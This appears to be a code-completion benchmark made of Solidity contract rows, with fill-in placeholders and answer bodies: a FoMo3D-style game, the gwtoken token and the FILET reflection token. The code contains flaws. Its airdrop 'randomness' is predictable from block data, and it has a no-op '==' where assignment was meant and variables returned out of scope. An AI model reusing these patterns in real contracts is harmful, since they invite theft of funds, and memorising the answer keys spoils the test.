rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } <FILL_FUNCTION> /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards shareCom.transfer((_com.mul(65) / 100)); admin.transfer((_com.mul(35) / 100)); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; uint256 _rndInc = rndInc_; if(round_[_rID].pot > rndLimit_) { _rndInc = _rndInc / 2; } // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay community rewards uint256 _com = _eth / 10; uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } // pay 1% out to FoMo3D short // uint256 _long = _eth / 100; // otherF3D_.potSwap.value(_long)(); _p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID)); // pay out p3d // _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; uint256 _amount = _p3d.sub(_potAmount); shareCom.transfer((_amount.mul(65)/100)); admin.transfer((_amount.mul(35)/100)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID) private returns(uint256) { uint256 _addP3d = 0; // distribute share to affiliate uint256 _aff1 = _eth / 10; uint256 _aff2 = _eth / 20; uint256 _aff3 = _eth / 34; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != '')) { plyr_[_pID].laffID = _affID; plyr_[_affID].aff = _aff1.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff1, now); //second level aff uint256 _secLaff = plyr_[_affID].laffID; if((_secLaff != 0) && (_secLaff != _pID)) { plyr_[_secLaff].aff = _aff2.add(plyr_[_secLaff].aff); emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff2, now); //third level aff uint256 _thirdAff = plyr_[_secLaff].laffID; if((_thirdAff != 0 ) && (_thirdAff != _pID)) { plyr_[_thirdAff].aff = _aff3.add(plyr_[_thirdAff].aff); emit F3Devents.onAffiliatePayout(_thirdAff, plyr_[_thirdAff].addr, plyr_[_thirdAff].name, _rID, _pID, _aff3, now); } else { _addP3d = _addP3d.add(_aff3); } } else { _addP3d = _addP3d.add(_aff2); } } else { _addP3d = _addP3d.add(_aff1); } return(_addP3d); } function getPlayerAff(uint256 _pID) public view returns (uint256,uint256,uint256) { uint256 _affID = plyr_[_pID].laffID; if (_affID != 0) { //second level aff uint256 _secondLaff = plyr_[_affID].laffID; if(_secondLaff != 0) { //third level aff uint256 _thirdAff = plyr_[_secondLaff].laffID; } } return (_affID,_secondLaff,_thirdAff); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) //_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); _eth = _eth.sub(_eth.mul(30) / 100); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require(msg.sender == admin, "only admin can activate"); // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
// grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() );
function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256)
/** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256)
28280
gwtoken
gwtoken
contract gwtoken is StandardToken { /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; //token string public version = 'v1.0'; function gwtoken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
contract gwtoken is StandardToken { /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; //token string public version = 'v1.0'; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
balances[msg.sender] = 2000000000000000000000000000; // 初始token数量给予消息发送者 totalSupply = 2000000000000000000000000000; // 设置初始总量 name = _tokenName; // token名称 decimals = _decimalUnits; // 小数位数 symbol = _tokenSymbol; // token简称
function gwtoken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol)
function gwtoken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol)
30100
FILET
_transferToExcluded
contract FILET is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isWhitelist; mapping (address => uint256) private _lockedTime; mapping (address => uint256) private _lockedAmount; mapping (address => uint256) private _antiBot; mapping (address => uint256) private _lockPreSale; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'FILET🥩'; string private _symbol = 'FILET🥩'; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 public _charityFee = 5; uint256 public _burnFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCharityFee = _charityFee; uint256 private _previousBurnFee = _burnFee; bool public _isAntiDumpEnabled = false; uint256 public antiDumpTime; address payable public _charityWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 1000000000000 * 10**9; uint256 private _numOfTokensToExchangeForCharity = 5 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable charityWalletAddress) public { _charityWalletAddress = charityWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _charityFee == 0 && _burnFee == 0) return; _previousTaxFee = _taxFee; _previousCharityFee = _charityFee; _previousBurnFee = _burnFee; _taxFee = 0; _charityFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _charityFee = _previousCharityFee; _burnFee = _previousBurnFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(_isAntiDumpEnabled == true && sender != owner() && recipient != owner()){ if(sender == uniswapV2Pair){ uint256 timePassed = block.timestamp - _antiBot[recipient]; require(timePassed > antiDumpTime,'You must wait between trades'); _antiBot[recipient] = block.timestamp; } else if(recipient == uniswapV2Pair){ uint256 timePassed = block.timestamp - _antiBot[sender]; require(timePassed > antiDumpTime,'You must wait between trades'); _antiBot[sender] = block.timestamp; } else if(sender != uniswapV2Pair && recipient != uniswapV2Pair){ uint256 timePassed1 = block.timestamp - _antiBot[sender]; uint256 timePassed2 = block.timestamp - _antiBot[recipient]; require(timePassed1 > antiDumpTime && timePassed2 > antiDumpTime, 'You Must Wait Some Time Between Transactions'); _antiBot[sender] = block.timestamp; _antiBot[recipient] = block.timestamp; } } //If sender has purchased during presale, must wait lockPreSale to transfer. if(_isWhitelist[sender] == true) { uint256 time_since_purchase = block.timestamp - _lockedTime[sender]; if(time_since_purchase < _lockPreSale[sender]){ require((balanceOf(sender) - amount) >= _lockedAmount[sender], 'You Must Wait Some Time From Original Transaction'); } else { _isWhitelist[sender] == false; } } if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular charity event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the charity wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCharity(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and charity fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToCharity(uint256 amount) private { _charityWalletAddress.transfer(amount); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 